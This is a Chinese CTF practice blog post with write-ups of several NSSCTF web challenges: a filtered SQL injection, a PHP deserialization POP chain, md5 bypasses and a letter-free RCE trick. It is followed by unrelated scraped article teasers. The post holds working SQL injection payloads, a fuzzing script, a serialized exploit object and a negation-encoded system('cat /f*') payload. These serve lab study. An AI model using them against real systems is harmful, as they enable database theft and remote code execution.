刷题学习记录(含2023ISCTFweb题的部分知识点)

[SWPUCTF 2021 新生赛]sql

进入环境

 查看源码,发现是get传参且参数为wllm

 fuzz测试,发现空格,=,and被过滤了

同样的也可以用python脚本进行fuzz测试

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
    res = requests.get('http://node4.anna.nssctf.cn:28876/?wllm={}'.format(i))
    if '请勿非法操作'  in res.text:
        print(i)

 结果也是一样的

既然空格被过滤那就用/**/代替空格,用联合注入进行注入

爆字段

-1'/**/order/**/by/**/4%23(用%23代替#,因为在注入时发现#也没法注入)

爆数据库

-1'/**/union/**/select/**/1,database(),3%23

 爆表

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

 查询列

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

查询内容

-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23

 发现flag只有一段,没有全部显示出来,使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid,mid截取,因为回显只能有20个,所以20,一组一组截取

-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23

-1%27union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

最后得到flag

NSSCTF{90c72eb0-e4977-4730-a192-42f3d662c85f}

 [SWPUCTF 2021 新生赛]pop

进入环境得到的是一大串php代码,看到最后的函数发现是反序列化

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

查找入口

# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件 class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }

 找链子

# echo一个对象,调用__toString方法,然后调用内部w00m的方法,由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

 构造exp:

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

 找php在线运行工具

得到反序列化代码,但是经过url编码

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

 传参得到flag

 [BJDCTF 2020]easy_md5

进入环境一开始以为是sql注入,不停在测试sql注入,但是页面都没有什么反应

 用bp抓包试一下

 不难发现在 Response 包中的 Header 中存在
Hint 为:hint: select * from 'admin' where password=md5($pass,true)
我们尝试进行绕过,传入 password=
ffifdyop;即可绕过!原理如下:

 跳转到新页面

 查看源码发现题目代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');
-->

 这里要使a,b的md5的值相等才会回显,这里选择用数组绕过md5

 出现新的页面

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里依然选择用数组绕过md5,这里的传参方式为post,最后得到flag

 [SWPUCTF 2021 新生赛]hardrce(无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_$code=$_get['code']; eval($code);-CSDN博客)

题目提示直接就是无数字RCE和无字母RCE,上源码

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 

 分析源码,可以知道所有字母字符和某些特殊字符被过滤;但源码中可以使用GET方式以wllm为参传值,且源码里面含有eval函数可以执行命令;结合上面要求,可以使用url取反方式进行绕过,不用异或和或运算是因为^和`被过滤了。
使用脚本将system和ls /进行url编码取反

ls=~%93%8C

system=~%8C%86%8C%8B%9A%92

cat /f*=~%9C%9E%8B%DF%D0%99%D5

?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

 不知道为什么system(ls)不能回显,但是system(cat /f*)却能回显出flag

 [HUBUCTF 2022 新生赛]checkin

进入环境一看到后面的函数就知道是反序列化

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

 构造exp:

<?php
$info = array(
	'username'=>true,
	'password'=>true
);
$serialized_data = serialize($info);
echo  $serialized_data ;
?>

 

 

得到反序列化代码

a:2:{s:8:"username";b:1;s:8:"password";b:1;}
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/183131.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

QtCreator9.02不支持JDK11解决

最终效果 使用Android Studio 下载Android SDK Platform 31与Sources for Android 31 下载Android SDK Build Tools 31.0.0 下载NDK 25.1 ,23.1 ,21.3 重要: 下载Android SDK Command-Line Tools ,选择10.0或者9.0其中一个版本 其它版本不支持JDK11 ,本例选择10.0 下载CMak…

<JavaEE> 什么是进程(Process)?进程管理,进程调度,内存管理,进程间通信和多进程编程

目录 一、进程&#xff08;Process&#xff09;的概念 二、进程管理 三、进程调度 四、内存管理 五、进程间通信 六、多进程编程 一、进程&#xff08;Process&#xff09;的概念 进程&#xff08;process&#xff09;也称为任务&#xff08;task&#xff09;&#xff0c…

鸿蒙开发环境搭建-deveco-studio 开发工具安装问题()

从华为官网下载工具deveco-studio, 下载地址 HUAWEI DevEco Studio和SDK下载和升级 | HarmonyOS开发者 这是下载后的工具 1、一步步安装步骤 报错了&#xff0c;一般安装都会报这个错误 看似问题不小&#xff0c;其实&#xff0c; 继续下步&#xff0c;就正常了&#xff0c…

一款专为POS机设计的芯片解决方案

一、基本概述 HCM8003设计用于磁条读卡器系统。它会从F/2F恢复时钟和数据信号磁产生的数据流头HCM8003将用于数据速率从200到15000比特每秒。 二、典型电路 内部数据的采集和跟踪这个范围是自动的。可以应用于POS机终端设备、磁卡门禁系统、身份识别等场合。 三、引脚定义 四…

vivado产生报告阅读分析18-设计收敛报告

设计收敛报告 Report QoR Assessment report_qor_assessment 命令会生成报告以提供下列信息 &#xff1a; • 评估得分 &#xff0c; 用于指示设计满足性能目标的概率 • 有关建议的后续步骤的流程指南 • 使用率和性能指标汇总信息 • 对于 QoR 至关重要的方法论检查汇…

技术前沿探索:人工智能与大数据融合的未来

技术前沿探索&#xff1a;人工智能与大数据融合的未来 摘要&#xff1a;本博客将探讨人工智能与大数据融合领域的最新技术趋势、前沿研究方向以及挑战与机遇。通过介绍相关技术和案例&#xff0c;我们希望激发读者对这一领域的兴趣&#xff0c;并为其职业发展提供有益参考。 一…

【RtpRtcp】1: webrtc m79:audio的ChannelReceive 创建并使用

m79中,RtpRtcp::Create 的调用很少 不知道谁负责创建ChannelReceiveclass ChannelReceive : public ChannelReceiveInterface,public MediaTransportAudioSinkInterface {接收编码后的音频帧:接收rtcp包:

【Fusion 360环境搭建】保姆级贴心教程

文章目录 选择Fusion 360的理由一、Fusion 360注册账号二、安装 选择Fusion 360的理由 稚辉君推荐&#xff01; 一、Fusion 360注册账号 官网网址 https://www.autodesk.com.cn/products/fusion-360 贴心提示&#xff1a;访问不了时试试手机热点 选择“ 教育” &#xf…

[架构之路-249]:目标系统 - 设计方法 - 软件工程 - 需求工程- 需求开发:如何用图形表达需求,结构化方法的需求分析

目录 一、概述 二、数据模型&#xff1a;E-R图/实体关系图&#xff08;数据单元之间的结构关系&#xff09; 三、功能模型&#xff1a;数据流图DFD&#xff08;逻辑运算&#xff0c;包括输入和输出&#xff0c;实体之间的关系&#xff09;&#xff1a;输入》处理 》 输出 四…

golang学习笔记——创建项目

创建项目 从Go 1.8开始&#xff0c;将GOPATH设置为环境变量不是必需的。如果我们没有设置一个&#xff0c;Go使用默认的GOPATH为$HOME/go。可以使用go env查看环境变量信息。 创建项目 # 创建项目目录 mkdir helloLog cd helloLog # 使用go mod初始化项目,生成go.mod文件 go…

成为独立开发者有多难

首先自我介绍&#xff1a;我是一名前端开发工程师&#xff0c;7年的前端开发经验。CSDN 九段刀客_js,vue,ReactNative-CSDN博客,80多万的访问量&#xff0c;1万多的粉丝。 相信80%的程序员的终极梦想都是成为一名独立开发者&#xff0c;不用找工作有自己的产品可以有睡后收入。…

《C++ Core Guidelines解析》深入理解C++

前言 在计算机编程领域&#xff0c;C一直以其高效、灵活和强大而闻名。然而&#xff0c;C作为一种复杂的编程语言&#xff0c;如果没有正确的理解和使用&#xff0c;很容易导致软件质量的下降和性能问题的出现。幸运的是&#xff0c;一本名为《CCore Guidelines解析》的书籍为…

97、Text2NeRF: Text-Driven 3D Scene Generation with Neural Radiance Fields

简介 论文地址 使用扩散模型来推断文本相关图像作为内容先验&#xff0c;并使用单目深度估计方法来提供几何先验&#xff0c;并引入了一种渐进的场景绘制和更新策略&#xff0c;保证不同视图之间纹理和几何的一致性 实现流程 简单而言&#xff1a; 文本-图片扩散模型生成一…

An issue was found when checking AAR metadata

一、报错信息 An issue was found when checking AAR metadata:1. Dependency androidx.activity:activity:1.8.0 requires libraries and applications that depend on it to compile against version 34 or later of the Android APIs.:app is currently compiled against …

微服务负载均衡器Ribbon

1.什么是Ribbon 目前主流的负载方案分为以下两种&#xff1a; 集中式负载均衡&#xff0c;在消费者和服务提供方中间使用独立的代理方式进行负载&#xff0c;有硬件的&#xff08;比如 F5&#xff09;&#xff0c;也有软件的&#xff08;比如 Nginx&#xff09;。 客户端根据…

CentOS 7 使用异步网络框架Libevent

CentOS 7 安装Libevent库 libevent github地址&#xff1a;https://github.com/libevent/libevent 步骤1&#xff1a;首先&#xff0c;你需要下载libevent的源代码。你可以从github或者源代码官方网站下载。并上传至/usr/local/source_code/ 步骤2&#xff1a;下载完成后&…

Springboot整合MybatisPlus及分页功能

1 引入pom <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot</artifactId><version>2.7.14</version> </dependency> <dependency><groupId>com.baomidou</groupId><a…

【考研数据结构代码题8】三元组表示的稀疏矩阵快速转置

题目&#xff1a;三元组表示的稀疏矩阵快速转置 考点&#xff1a;矩阵的压缩与存储 难度&#xff1a;★★★ 稀疏矩阵压缩存储 三元组结构 //三元组结构 typedef struct {int row;int col;int value; } Term; 核心代码 // 转置函数&#xff0c;a为原矩阵&#xff0c;b存放转…

AIGC专题报告:生成式人工智能用例汇编

今天分享的是AIGC系列深度研究报告&#xff1a;《AIGC专题报告&#xff1a;生成式人工智能用例汇编》。 &#xff08;报告出品方&#xff1a;德勤&#xff09; 报告共计&#xff1a;16页 生成式人工智能&#xff08;AI&#xff09;的兴起 生成式AI给人类文明创造了无限的可…

STM32 CAN通信自定义数据包多帧连发乱序问题

场景&#xff1a; can标准帧中每一帧只能传输8字节&#xff0c;而应用中传输一包的内容往往超过8字节&#xff0c;因此需要把一个包拆成多个帧发送&#xff0c;接收端才把收到的多帧重新组装成一个完整的包 问题描述 在一问一答的两块板间通信&#xff0c;多帧连发是能够按照…